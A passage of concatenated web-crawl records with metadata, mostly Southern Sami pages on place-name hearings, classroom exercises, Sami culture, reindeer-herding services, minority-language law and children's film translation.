mejtie sjïere ektiedimmiem utnieh. Tjïelten lea dïedte bæjhkoehtidh nommeaamhtse lea tseegkesovveme jïh bïeljelimmiem aamhtesen bïjre jïh kopijem sijjienommekonsulenten juvnehtimmijste voenges siebride seedtedh. Govlehtimmiemierie lea göökte askh. Mijjieh tjïeltem birrebe govlehtimmievaestiedasside bååstede seedtedh mijjese, jallh bïevnesem seedtedh tjïrrehtamme govlehtimmien bïjre lahtesi namhtah, guktie nommekonsulente maahta minngemes juvnehtimmine båetedh.\nKom med innspill innen 1. mars 2024\nMerk ditt innspill med Innspill til navnesak 2023\/404.\nDu kan også sende innspill per post til Alstahaug kommune, Strandgt. 52, 8805 Sandnessjøen, eller på e-post: firstname.lastname@example.org.","id":"","dump":"CC-MAIN-2024-10","url":"https:\/\/www.alstahaug.kommune.no\/hoering-navnesak-2023404-helgelaante-soersamisk-navn-paa-landskapsomraadet-i-helgeland.6648998.html","date":"2024-03-04T00:29:46Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2024-10\/segments\/1707947476409.38\/warc\/CC-MAIN-20240304002142-20240304032142-00630.warc.gz","language":"sma","language_score":0.9762015343,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"sma_Latn_score\": 0.9762015342712402, \"sme_Latn_score\": 0.012089220806956291, \"nob_Latn_score\": 0.010643781162798405}","num_words":259,"character_repetition_ratio":0.057,"word_repetition_ratio":0.0,"special_characters_ratio":0.16,"stopwords_ratio":0.054,"flagged_words_ratio":0.0,"lang_id_score":0.982,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Identiteetehaarjanimmie\nDarjomen bïjre\nUlmie\n- Jïjtse identiteetem goerehtidh jïh goerkesem lissiehtidh ihke gaajhkesh noereme identiteeth utnieh. Buerebelaakan meatanlearohkigujmie åehpenidh.\nDaennie boelhkesne learohkh åadtjoeh ovmessie bielieh jïjtse identiteeteste kraanskodh, jïh åadtjoeh jïjtsh bïjre soptsestidh jïh sov meatanlearohki bïjre lïeredh. Maahta haarjanimmiem tjïrrehtidh dovne smaavedaltesisnie jïh gaskedaltesisnie. Dejtie nööremes learoehkidie mah eah leah dan væjkele tjaeledh, maahta baakoebaanghkem darjodh åvtelhbodti. Dej båarasommes learoehkidie maahta væjsehke årrodh geehtedh olles fer jïjnjem juekieh jïjtsh bïjre.\n- Tïjje:\n- 30 - 45 min\n- Dåehkien stoeredahke:\n- 10 - 35\nTjïrrehtimmie\n- 1\nAelkede ektesne soptsestidh identiteeten bïjre\nGyhtjelassh soptsestallemem aelkedh: Mij sæjhta jiehtedh manne manne jïh datne datne? Mij dorje manne raaktan manne? Leam seammalaakan gaajhkine tsiehkine? Lea mij akt mannine mij iktesth sæjhta seamma årrodh, aaj gosse geerve almetjinie sjidtem?\n- 2\nHammodh dan mænngan haarjanimmiem dejtie gusnie datne leah aalkoevåarome\nDievhtieh post-it-leahpah gusnie baakoeh tjaalah mah maam akt jiehtieh gie datne leah, jïh mannasinie datne leah datne, jïh dibrehth dejtie taavlese. Veeljh naakenh dejstie baakojste mejtie leah veeljeme, soptsesth mannasinie raaktah daah veeljih jïh maam ulmide dah utnieh dutnjien. Mah naakenh dejstie learoehkijstie maehtieh jïjtjemse damtijidh muvhtine dov leahpijste?\n- 3\nDaelie learohkh edtjieh seamma haarjanimmiem darjodh:\nLearohkh fïereguhten tjomhpem post-it-leahpajgujmie åadtjoeh, jïh leahpide baakoejgujmie dibrehtieh sijjen buertide mah maam joem jiehtieh gïeh dah leah. Doh nööremes learohkh maehtieh maaje dovne tjaeledh jïh guvviedidh.\n- 4\nVedtieh learoehkidie laavenjassine golme leahpah\nVedtieh learoehkidie laavenjassine golme leahpah sigkedh mejtie tuhtjieh lea joekoen vihkele gïese dah leah\/ mejnie ååntjestellieh, jïh maam lyjhkoeh mubpide vuesiehtidh.\n- 5\nMinngemes learohkh edtjieh bïjre jarkan klaassetjiehtjelisnie vaedtsedh.\nBirrh dejtie meatan vaeltedh doh golme leahpah jïh bïjre jarkan klaassetjïehtjelisnie vaestedh jïh sinsitniem dïervesjdih gööktesi gööktesi, jïh sinsætnan soptsestidh leahpaj bïjre mejtie leah veeljeme. Asth bïhkedidh dah edtjieh gaajhkesidie dïervesjidh, ij ajve dejgujmie mejgujmie sïejhmemes ektesne.\nMinngemes ussjedadtemh\n- Lij geerve gaavnedh maam edtjih leahpine tjaeledh? Mannasinie\/mannasinie ij?\n- Mannasinie veeljih raaktan daah golme leahpah gosse edtjidh bïjre jarkan vaedtsedh?\n- Lij naan leahpah mejtie idtjih sïjhth mubpide vuesiehtidh? Mannasinie ibie sïjhth gaajhkem jïjtjene bïjre juekedh gaajhkesigujmie?\n- Gosse dijjieh bïjre jarkan veedtsidh, dïervesjih naakenem mejnie maam akt ektesne åtnah?\n- Gosse dijjieh bïjre jarkan veedtsidh, naakenem dïervesjih man bïjre maam akt orre lïerih? Ierielih?\n- Ussjedh dejtie golme leahpide datne veeljih: mij sjugniehtovveme jis daah bielieh datneste båarhte vaaltasovvin? Datne annje datne orreme dellie? Mij jeatjahlaakan orreme?","id":"","dump":"CC-MAIN-2024-10","url":"https:\/\/www.dembra.no\/sma\/undervisningsopplegg\/identiteetehaarjanimmie","date":"2024-02-26T23:19:53Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2024-10\/segments\/1707947474669.36\/warc\/CC-MAIN-20240226225941-20240227015941-00134.warc.gz","language":"sma","language_score":1.0000069141,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 1.000006914138794}","num_words":361,"character_repetition_ratio":0.062,"word_repetition_ratio":0.0,"special_characters_ratio":0.155,"stopwords_ratio":0.116,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Dembran vierhtieh leah evtiesovveme learoesoejkesjevierhken mietie jih lea eevre namhtah mijjen hijven laavenjostoeguejmiej jïh viehkiehtæjjaj gaavhtan.\nFinansiert av\nDembran jarngh\nTeemah\n- Pedagogihke jïh didaktihke\n- Åvtelhaarvoeh jïh dåehkieussjedimmie\n- Tjïertevidtjie jïh jeatjah konkreete haestemh\n- Radikaliseereme jïh vædtsoeh ekstremisme\n- Demokratije, meatanårrojevoete jïh faamoedehteme\n- Identiteete, gellievoete jïh gïese akt govlehtovvedh\n- Aalkoeåålmege jïh nasjonaale unnebelåhkoe\n- Daajroe jïh laejhtehks ussjedimmie\nSjïdtede Dembra-skuvline!\nDutnjien gie lissie dåarjoem jïh bïhkedimmiem sïjhth ihkuve positijve jarkelimmieh sjugniedidh abpe skuvlebyjresisnie","id":"","dump":"CC-MAIN-2024-18","url":"https:\/\/www.dembra.no\/sma","date":"2024-04-22T00:42:55Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2024-18\/segments\/1712296818067.32\/warc\/CC-MAIN-20240421225303-20240422015303-00491.warc.gz","language":"sma","language_score":0.9999989271,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.999998927116394}","num_words":69,"character_repetition_ratio":0.015,"word_repetition_ratio":0.0,"special_characters_ratio":0.131,"stopwords_ratio":0.188,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Vaadtasovvemejaepie\n1999\nGiele\nISBN\n8299514800\nFormaate\nSïejhme gærja\nReaktah\nGaajhkh reaktah leah doelehtovveme\nMennie bielesne\n180\nIvgun jïh Porsáŋgun saemiej bïjre.\nDaate histovrijegærja Ivgun jïh Porsáŋgun tjïelti bïjre. Ööhpehtæjja Ole Thomassen gïe aalkovenaejmeste gïetine dam gærjam tjaelieji, jaepiej 1896–1898. Just Qvigstad jis guhte gærjan tjaalegh tjöönghki. Dah daelie Etnografiske museumen luvnie vöörhkeldahkesne, jïh desnie 1945 raejeste orreme. Gærja såårne guktie mearoesaemiej tsiehkie Thomassenen jielemeaejkien jïh noerebaelien. Gærjesne jeenjem lïhkesbyjreske- jïh kultuvrehistovrijem lohkh. Jeatjah aamhtesh jis: saemien beapmoevuekieh, hïeje, bigkemevuekieh, barkoejieleme jïh saemien bearkanimmie, maanaj stååkedimmie, mearoesaemiej vaarjoeh jïh saemien dovletje jaahkoe. Lohkemes gærja learoehkidie jallh daajroegaaltijinie lohkehtæjjide.\nGærjam maahtah digitaalegærjine Nasjonaalegærjagåetesne aaj lohkedh.","id":"","dump":"CC-MAIN-2024-18","url":"https:\/\/ovttas.no\/sma\/girji_lappenes-forhold?overridden_route_name=entity.node.canonical&base_route_name=entity.node.canonical&page_manager_page=node_view&page_manager_page_variant=nodes&page_manager_page_variant_weight=-10","date":"2024-04-17T22:09:38Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2024-18\/segments\/1712296817181.55\/warc\/CC-MAIN-20240417204934-20240417234934-00118.warc.gz","language":"sma","language_score":0.9999605417,"language_script":"Latn","minhash_cluster_size":5,"top_langs":"{\"sma_Latn_score\": 0.9999605417251587}","num_words":98,"character_repetition_ratio":0.061,"word_repetition_ratio":0.0,"special_characters_ratio":0.162,"stopwords_ratio":0.143,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Saernieh: Tjåanghkoe voeresalmetjidie, Lopmenaestie, Jåarhkeskuvlen gïeletjåanghkoe.\nFylhkeålma båatsoejielemem jïh dajveburriem bööredi gaskestallemetjåanghkose Vauldalen Fjellhotellesne, njoktjen mubpien jïh gåalmeden biejjien. Tjåanghkose dovne siebrieh, tjïelten politihkerh jïh administrasjovne jïh aaj fylhkeålmanembeten representanth bööresovvin. Daate tjåanghkoe öörnesovvi gaskestallemeprosjekten åvteste, man nomme \"Felles politikk for fjellområdene\". Tjåanghkoen åejvieaamhtese lij \"Evtiedimmie jieliemidie miehtjiesdajvesne jïh interkommunale prosessh\".\nGadtsegarhkh:\nDæjstan Gadtsegarhkh utnin tjåanghkoe Plassjesne. Mijjieh tjoejkimh akte gåatan laategen lïhke Småsetresne jïh dållem bïejimh. Goervem bissimh, tjoejkimh jïh njulhtjestallimh. Biejjie goeki jïh maanah jïh geerve almetjh utniejin gaajh tryjjes tuvre. Goh akte baernie dennie tjåanghkosne jeehti, - Daate lea bööremes biejjie \"ever\"!\nJaepien 2013 Anita Dunfjell Aagard gærjam veedti, soptsese maam Jahkenelkien Aanna 90-jaepine radijoven tjïrrh seedti. Soptsesen nomme lij Åvla, jïh gærja seamma nommem åadtjoeji. Daelie dovne tjoejegærja soptsesistie dorjesovveme. Govlebe Åvlan bïjre, gie akten biejjien påastem veedtjie. Gïetine dïeves plaerijste prievijste dïhte gahtja. Gosse prievide tjöönghkie, prieviem jïjtjese vuepteste. Maja Marie Jåma tjoejegærjese lohkeme, jïh Gïeleaernie gærjam vedteme ektine Noerhte-Trööndelagen fylhkebiblioteekine. Vaajese Åvlan bïjre njieljie stuhtjide juekeme, jïh mijjieh voestes stuhtjem daenbien govlebe.\nNyheter: Eldretreff, Lopmenaestie, språksamling for videregående skole.\nFylkesmannen inviterte reindriftsnæringa og grunneiere til dialogmøte på Vauldalen Fjellhotell 2. - 3. mars. Til møtet var også organisasjoner, politisk og administrativ kommuneledelse og aktuelle representanter fra fylkesmannsembetene med flere invitert. Møtet kom som en oppfølging av dialogprosjektet «Felles politikk for fjellområdene». Hovedtema for samlingen var; «Utviklingsmuligheter for næringene i utmarka og interkommunale prosesser».\nGadtsegarhkh:\nPå tirsdag hadde Gadtsegarhkh samling på Røros. Vi rente på ski til en gapahuk ved skisporet i Småsetran og tente bål der. Vi grillet pølser, rente og hoppa på ski. Sola skinte og både barn og voksne hadde en veldig trivelig tur. Som en gutt sa, - Dette er den beste dagen \"ever\"!.\nAnita Dunfjell Aagard ga i 2013 ut en bok etter fortellingen til Anna Jacobsen, som på 90-tallet ble sendt på radio. Fortellingen het Åvla, og boken fikk samme navn. Nå er det også laget lydbok av fortellingen. Da hører vi om Åvla, som en dag henter posten. Med hendene fulle av brev og aviser faller han. Da han setter seg ned og samler sammen posten, oppdager han et brev til seg selv. Maja Marie Jåma har lest inn lydboken, og Gïeleaernie har utgitt den i samarbeid med Nord-Trøndelag fylkesbibliotek. Historien om Åvla er delt opp i fire deler, og vi hører første del i dag.","id":"","dump":"CC-MAIN-2024-18","url":"https:\/\/www.nearadio.no\/nyheter\/i\/q13xM1\/saarnoeh-amma-20","date":"2024-04-20T13:52:44Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2024-18\/segments\/1712296817650.14\/warc\/CC-MAIN-20240420122043-20240420152043-00519.warc.gz","language":"sma","language_score":0.9552257657,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9552257657051086, \"nob_Latn_score\": 0.027073394507169724, \"sme_Latn_score\": 0.015432554297149181}","num_words":381,"character_repetition_ratio":0.04,"word_repetition_ratio":0.0,"special_characters_ratio":0.171,"stopwords_ratio":0.047,"flagged_words_ratio":0.0,"lang_id_score":0.973,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Mij Ut på vidda?\nUt på vidda\/Bæjjese vaaran lea lïereme- jïh hoksedïenesjh mah saemien kultuvrem, aerpievuekieh, duedtiem, histovrijem, almetjh, eatnemem jïh båatsoem våaroeminie åtna.\nJaepien 2019 Staate jïh Nöörjen båatsoesaemiej rïjhkesiebrie seamadin Ut på vidda ij edtjh ajve prosjektine årrodh, men ihkuve lïereme- jïh hoksefaalenassine båatsosne.\nUt på vidda båatsoesaemide nuepiem vadta lissiebaalhkam åadtjodh. Jis edtja jååhkesjimmiem åadtjodh goh Ut på vidda-faalehtæjja jïh maehtedh dïenesjh faalehtidh, båatsoeburrieh tjuerieh kuvsjem tjïrrehtidh gaskem jeatjah HMS (HealsoeByjreseJearsoesvoete), voestesviehkie, beapmoehygijeene jïh bievnemedaajroe. Romsan jïh Finnmarhken Staatehaaltoje jååhkesjimmiem tjïrrehte. Ut på vidda faalehtæjjah åtna fylhkine Trööndelage, Nordlaante, Romsa jïh Finnmarhke.\nGïeh maehtieh Ut på vidda-dïenesjh åestedh?\nTjïelth, fylhkentjïelth, maanagïerth, skuvlh, båehtjierdimmieinstitusjovnh, maanavaarjelimmie, NAV, jïjtjevyljehke organisasjovnh jïh sïelth abpe laantesne, maehtieh Ut på vidda-dïenesjh åestedh. Darjomh båatsoen sisnjelen maehtieh daajroem vedtedh dan saemien seabradahken bïjre, hijven dååjresh, haalvemen, evtiedimmiem jïh tryjjem maanide, noeride, geerve almetjidie jïh båarasåbpoe almetjidie mah sjïehteladteme faalenassem daarpesjieh jearsoe areenesne.\nJis sïjhth gaskesadtedh Ut på vidda-faalehtæjjajgujmie diedtieh daase","id":"","dump":"CC-MAIN-2024-18","url":"https:\/\/www.utpaavidda.no\/sma\/","date":"2024-04-17T11:50:00Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2024-18\/segments\/1712296817153.39\/warc\/CC-MAIN-20240417110701-20240417140701-00624.warc.gz","language":"sma","language_score":0.9999901056,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"sma_Latn_score\": 0.9999901056289673}","num_words":155,"character_repetition_ratio":0.07,"word_repetition_ratio":0.0,"special_characters_ratio":0.146,"stopwords_ratio":0.11,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Mov nomme Lemet Johanas Nystad jïh leam 21 jaepien båeries. Manne reakadamme jïh byjjenamme Kárásjohkesne, men leam Lillehammerisnie orreme gusnie Nöörjen toppidrettsgymnasesne veedtsim jïh uvtemes treavkanjulhtjeminie gïehtelim. Lissine Romsesne orreme gusnie leam fysioterapijem lohkeme, men daelie veeljeme eejehtalledh lohkemistie.\nAstoe-aejkien provhkem gööledh jïh jïjnjem ålkone eatnamisnie årrodh. Jïh manne joekoen sosijaale almetje jïh provhkem jïjnjem voelpigujmie årrodh. Lissine aaj lyjhkem saavredh.\nGosse lim Lillehammerisnie gellie gyhtjelassh saemiej bïjre åadtjoejim jïh damtim mov ij lij våarome dejtie mijjen bïjre soptsestidh. Guktie dan åvteste lastoem åadtjoejim vielie lïeredh saemien kultuvren bïjre jïh lissine maehtedh bïjre jarkan Nöörjesne fealadidh jïh jeatjah noeride saemiej bïjre soptsestidh.\nMov håhkoe lea daate jaepie munnjien vielie daajroem vadta kultuvren bïjre maam lyjhkem. Lissine gegkestem jienebh voelph åadtjodh bïjre jarkan Nöörjesne.\nSåemies varke saetniesvoeth:\nMaam tuhtjh vihkielommes Nöörjen noerh saemiej bïjre daejrieh?\nTuhtjem vihkielommes noeride bïjre laantem vuesiehtidh saemieh leah joekoen seammalaakan goh jeatjah daaroeh. Hævvi mijjen leah jïjtsh kultuvre, gïele jïh aerpievuekieh, men saemieh jïh daaroeh leah badth joekoen seammalaakan.\nBööremes raerie juktie jïengem tsööpkedh?\nBööremes raerie lea ajve jïjtse årrodh 100 %. Aellieh bïllh mubpiejgujmie gaskesadtedh jïh aellieh skabroeh årroeh soptsestallemisnie.\nMaam 10 jaepine darjoeh?\nGeerve jiehtedh, men mov håhkoe lea manne gåatan Kárásjohkese jåhteme jïh fuelhkiem åådtjeme. Lissine mov håhkoe lea jïjtse klinihkine nïerhkedh fysioterapijen sisnjelen.\nBööremes TV-raajroe?\nProvhkem jïjnjem ovmessie vuartasjidh, men tjoerem jiehtedh daan mearan mov bööremes raajroe lea Hvite gutter. Akte joekoen lustes raajroe mestie provhkem jïjnjem föörhkedidh.\nGie dov saemien åvteguvvie jïh man åvteste?\nMov saemien åvteguvvie lea Ronald Pulk. Dïhte akte lustes karakteere mij lea lyhkesamme Nöörjesne.\nMaam saemien åahpetjidie datne buaresjh?\nGeerve jiehtedh. Im naan sjïere åahpetjidie buaresjh, men jis tjoerem naakenem neebnedh dellie dïhte sån Agnete Johnsen. Dïhte tjaebpies nïejte jïh ij goh unnemes væjkele laavlodh.\nMïsse jeenjemes aavodh daan tsïeglejaepien?\nManne jeenjemes aavodem bïjre jarkan Nöörjesne fealadidh jïh gellie orre almetjh råakedh. Luste sjædta nuepiem åadtjodh bïjre jarkan jïjtjene kultuvren bïjre soptsestidh.","id":"","dump":"CC-MAIN-2024-18","url":"https:\/\/samiskeveivisere.no\/sma\/veiviser\/lemet-johanas-nystad-5\/","date":"2024-04-20T12:31:02Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2024-18\/segments\/1712296817650.14\/warc\/CC-MAIN-20240420122043-20240420152043-00582.warc.gz","language":"sma","language_score":1.0000084639,"language_script":"Latn","minhash_cluster_size":9,"top_langs":"{\"sma_Latn_score\": 1.000008463859558}","num_words":311,"character_repetition_ratio":0.059,"word_repetition_ratio":0.0,"special_characters_ratio":0.149,"stopwords_ratio":0.145,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Lagen om nationella minoriteter och minoritetsspråk hänvisar till att språklagen anger att det allmänna har ett särskilt ansvar för att skydda och främja de nationella minoritetsspråken.\nBarns utveckling av en kulturell identitet och användning av det egna minoritetsspråket ska främjas särskilt. Barn som tillhör nationella minoriteter har ett behov av att få utveckla sin egna minoritetskulturella identitet och det egna minoritetsspråket. En sådan utveckling ska beaktas särskilt när beslut fattas som kan komma att påverka barn.\nDenna bestämmelse bygger på Sveriges åtagande enligt Europarådets ramkonvention, minoritetsspråkskonventionen och FN:s barnkonvetion.\nLaake nasjovnen unnebelåhkoej jïh unnebelåhkoej gïelij bijre gïelelaakesne tjuvtjede byjjese sjïere dïedtem åtna unnebelåhkoej gïelh vaarjelidh jïh evtiedidh.\nMaanaj öövtiedimmie kultuvre-identitetesne jïh jijtjemes unnebelåhkoej gïelem nuhtjedh edtja joekoenlaakan evtiedidh. Maanah nasjovne unnebelåhkojne daerpiesvoetem utnieh jijtjemes unnebelåhkoej kultuvrem jïh jijtjemes unnebelåhkoej gïelem övtiedidh. Naemhtemes övtiedimmie joekoen vihkeles aajhtsedh gosse nännoestidh gyhtjelassine gåessie maanaj bijre.\nNjolkedassen maadtoe lea Sveerjen dïedte Europaraerien raamekonvensjovnen, unnebelåhkoej gïelekonvensjovnen jïh FN:n maanakonvensjovnen mietie.\nTjïelten åejviereereme\nJohan Palm\nTeel. 063-14 37 03\nMaanah- jïh ööhpehtimmiereereme\nEva Lindwall\nTeel. 063-14 33 80\nBarn- och utbildningsförvaltningen\nEva Lindwall\ntel: 063-14 33 80","id":"","dump":"CC-MAIN-2013-20","url":"http:\/\/www.ostersund.se\/boleva\/samiskasomminoritetssprak\/omlagstiftningenlaakebuektiehtammanbijre\/nationellaminoritetssprak.4.a3261c5125534e633480001482.html","date":"2013-05-26T06:27:26Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-20\/segments\/1368706635063\/warc\/CC-MAIN-20130516121715-00045-ip-10-60-113-184.ec2.internal.warc.gz","language":"sma","language_score":0.945800364,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9458003640174866, \"swe_Latn_score\": 0.04826197773218155}","num_words":172,"character_repetition_ratio":0.107,"word_repetition_ratio":0.0,"special_characters_ratio":0.153,"stopwords_ratio":0.041,"flagged_words_ratio":0.0,"lang_id_score":0.953,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Laejhtehke\nSosiaale funksjovne\nMijjieh maehtebe laejhtehks ovmessie vuekine årrodh. Laejhtehks årrodh maahta aaj aktem sosiaale funksjovnem utnedh, jïh vuesehte gie meatan jïh gie ij leah. Gellie noerh laejhtehkem nuhtjieh. Jis akte voelpe dutnjien jeahta \"datne dan jåasoeh\", dellie ij dïhte sïjhth datne edtjh dam jaehkedh. Datne hov guarkah dov voelpe sjelhkede, dan åvteste datne govlh guktie jeahta, men aaj vuajnah guktie dåemede. Kråahpen gïeline aaj vuesiehtibie jis mijjieh laejhtehks jallh ibie.\nMijjen seammaleejnes lustes-aajmoe?\nGosse voelph sinsitniem jarhpoedieh, eah dah sïjhth vuesiehtidh jeatjebh leah jåasoeh, men ajve sijhtieh lustestalledh.\nMujhtieh vååregelaakan årrodh jis datne ussjedh laejhtehks årrodh gosse dovne soptsesteminie jïh tjaelieminie. Eah gaajhkesh daarpesjh guarkedh datne laejhtehke, dan åvteste eah seammaleejnes lustes-aajmoem utnieh goh datne.\nGavsoeh\nJis datne gavsoeh dellie datne laavsh. Mejtie datne sïjhth vuesiehtidh gie akt jåasoeh, jallh datne sïjhth vuesiehtidh maam akt ij hijven. Jis mijjieh edtjebe gavsoeh årrodh dle maehtebe dovne gïelem jïh bolle-gïelem nuhtjedh.\nVuesiehtimmien gaavhtan mijjieh maehtebe naan baakoeh tjerkebe jiehtedh mearan tjelmieh jorpehke darjobe.\n\"Guktie vïenhth, manne maahtam daejredh dov lea pryövoe jirreden gosse ih soptsesth.\"\nDïhte mij gavsoeh, gellien aejkien maam akt halke jeahta. Gosse mijjieh libie gavsoeh dellie tjoerebe mujhtedh mijjieh maehtebe aaj jeatjebh iedtedh, jalhts ibie ussjedamme.\nSatijre\nSatijre aaj akte sjangere, mij romerh eelkin nuhtjedh. Dah satijrem nuhtjin dan åvteste dah sïjhtin åejvide jïh siebriedahke-tsiehkide laejhtedh. Men mijjieh maehtebe aaj satijrem nuhtjedh gosse edtjebe almetji haaltje-bieliem jïh nåake-bieliem vuesiehtidh. Mijjieh satijrem gaavnebe diktine, esseyine, romaanine, tv- jïh raadijove-saadteginie.\nlaejhtehks\nironisk\nlaejhtehke\nironi\nsjelhkiedidh\nprate tull. tulle\nlustes-aajmoe\nhumor\ngavsoeh\nsarkasme\nhalke jiehtedh\nsi rett ut\niedtedh\nfornærme","id":"","dump":"CC-MAIN-2017-13","url":"http:\/\/ndla.no\/nb\/node\/157746?fag=126960","date":"2017-03-25T07:56:59Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-13\/segments\/1490218188891.62\/warc\/CC-MAIN-20170322212948-00149-ip-10-233-31-227.ec2.internal.warc.gz","language":"sma","language_score":0.9999953508,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"sma_Latn_score\": 0.9999953508377075}","num_words":259,"character_repetition_ratio":0.068,"word_repetition_ratio":0.0,"special_characters_ratio":0.155,"stopwords_ratio":0.069,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Krokomen tjïeltesne nuepieh veeljedh gusnie jïh guktie årrodh, dïhte joekoen daesnie. Gåetieluhpie faalebe måedtie sijjine, voenijste vaeriej lïhke årromesijjide gustie maahtah Staarese sygkeldidh. Gööleme, vijreme, vaerieh, daelvege ïedtjh jïh miehtjie, dejtie orre-årroejidie, stuaride jïh eejehtimmien gåetie-aajhteridie Krokomen tjïeltese gåtjkoehtieh.\nKontakta oss\nHar du tekniska frågor eller vill kommentera informationen på sidan så kan du kontakta webbredaktionen. Klicka här!","id":"","dump":"CC-MAIN-2017-17","url":"http:\/\/krokom.se\/sma-SE\/byggaboochmiljo.3439.html","date":"2017-04-29T19:23:49Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-17\/segments\/1492917123560.51\/warc\/CC-MAIN-20170423031203-00545-ip-10-145-167-34.ec2.internal.warc.gz","language":"sma","language_score":0.999828279,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"sma_Latn_score\": 0.9998282790184021}","num_words":58,"character_repetition_ratio":0.034,"word_repetition_ratio":0.0,"special_characters_ratio":0.146,"stopwords_ratio":0.052,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Gïelejarnge\nSaemien gïelejarnge lea gaajhkeside gieh sijhtieh saemiengïele-daltesem siebredahkesne lutnjedh.\nSaemien gïelejarnge lea Dearnesne jïh Staaresne. Gïelejarngen barkijh Staaresne leah Saemiedigkien tjiehtjelisnie dennie Gaaltijen laptesne, Köpmansgatan 58 jïh Dearnesne Industrivägen 14.\nGaajhkh smaaresh\nGïelejarnge edtja gaajhkh saemiej - gåabpegh noeri jïh geerve almetji – sijjen daerpiesvoetide jijtje gïelem råaptede vaeltedh. Saemien gïeline lea gaajhkh smaaresh dennie gïelesne dan Sveerjen Saepmie-dajvesne.\nJienebh provhkemh\nGïelejarnge edtja:\n• Eadtjohke-laakan eevtiedidh jïh skreejrehtidh jienebh provhkemh saemien gïelese siebredahkesne\n• Maahtoem vuaptastehtedh\n• Öövtiedidh vuekieh juktie aajnealmetji nuepieh nännoestidh sijjen saemien gïelem utnedh jïh råaptede dam vaeltedh\n• Maahtoeh jealadehtemi bïjre bïeljelidh\nÖörnemh maanide jïh noeride edtjieh joekoen-laakan åvte-mieresne årrodh.\nDaerpiesvoetijste barkedh\nGïelejarngen barkoe edtja saemiej jealadehtemen daerpiesvoeti gaavhtan årrodh jïh mijjieh edtjebe dan dïete jeatjah saemiej institusjovni- jïh åårganisasjovnigujmie barkedh ihke ektie-öörnedh, lissiehdidh jïh radtjoeslaakan barkoem öörnedh dejnie saemiej gïeli jealadehtemigujmie.\nVïhtesjimmie\nOrre vuekieh mah leah stealladamme edtjieh vïhtesjamme sjïdtedh jïh daajroeh dej bïjre edtja bïeljielidh.\nGaskese\nGaskesadth mijjem ihke digkiedidh, övtiedidh åssjalommesh jïh vuekieh! E-påaste gïelejarngese: email@example.com","id":"","dump":"CC-MAIN-2017-17","url":"https:\/\/www.sametinget.se\/14185","date":"2017-04-27T22:39:40Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-17\/segments\/1492917122629.72\/warc\/CC-MAIN-20170423031202-00449-ip-10-145-167-34.ec2.internal.warc.gz","language":"sma","language_score":1.0000078678,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 1.0000078678131104}","num_words":156,"character_repetition_ratio":0.07,"word_repetition_ratio":0.0,"special_characters_ratio":0.135,"stopwords_ratio":0.154,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Gaajhk maana- filmh maam Nøørjen kinosne jallh dvdesne vuesiehtieh, daaroen gielesne. Ij akte dejstie filmijste, saemien gielese jarkoestamme.\nIj gænnah, dihte daaroen\/saemien filme Frost saemien gielesne båata.– Jis beetneh-vierhtieh åtneme dellie eah leah mijjieh daam maahteme heerredh, jeahta dihte direktøøre Disney Norge Inger Warendorph.\nSaemien gieleambassadøøre, Ristin Guntnel Eira tuhtjie dah saemien maanah edtjieh åadtjodh filmh, saemien gielesne vuejnedh jih govledh.\n–Eah gaajhkh maanah daaroen gielem eensi-laakan maehtieh, gåessie smaave lean jih dellie tjuerieh maana- filmh daaroen gielesne govledh jih vuejnedh.\nLohkh aaj :\nIj naan beetnegh.\nGåessie dah ålkoerijhken filmh nøørjese båetieh dellie gaajhkh filmh daaroen gielese jarkoestehtieh. Dah filmedistributør maeksieh jih daaroen gielese jarkoestehtedh.\n–Ibie mijjieh utnieh beetneh-vierhtieh jih saemien gielese jarkoestehtedh daam tjuara gieh jeatja daarjodh, jeahta Heidi Weber ,SF Norge, mij lea Nøørjen støøremes filmdistributøøre mij filmide duaka daan Nøørjen Kinose.\nDåarjeme daerpies.\nSF Norge bievnede jis edtja maanafilmem daaroengielese jarkoestidh tjuara 150 000- 200 000 fierhten filmen åvteste maeksedh, duvrebe sjædta jis dah skuespillerh åehpies lean.\n– Duvremes sjædta jih dah stoerre animasjovnefilmide daaroengielese jarkoestehtedh, jeahta direktøøre Inger Warendorph Disney Norge.\nDihte vielie bievnedi tjoerin 1 milljon kr maeksedh jih daam stoerre filmem Frost daaroen gielese jarkoestehtedh.\n–Seamma 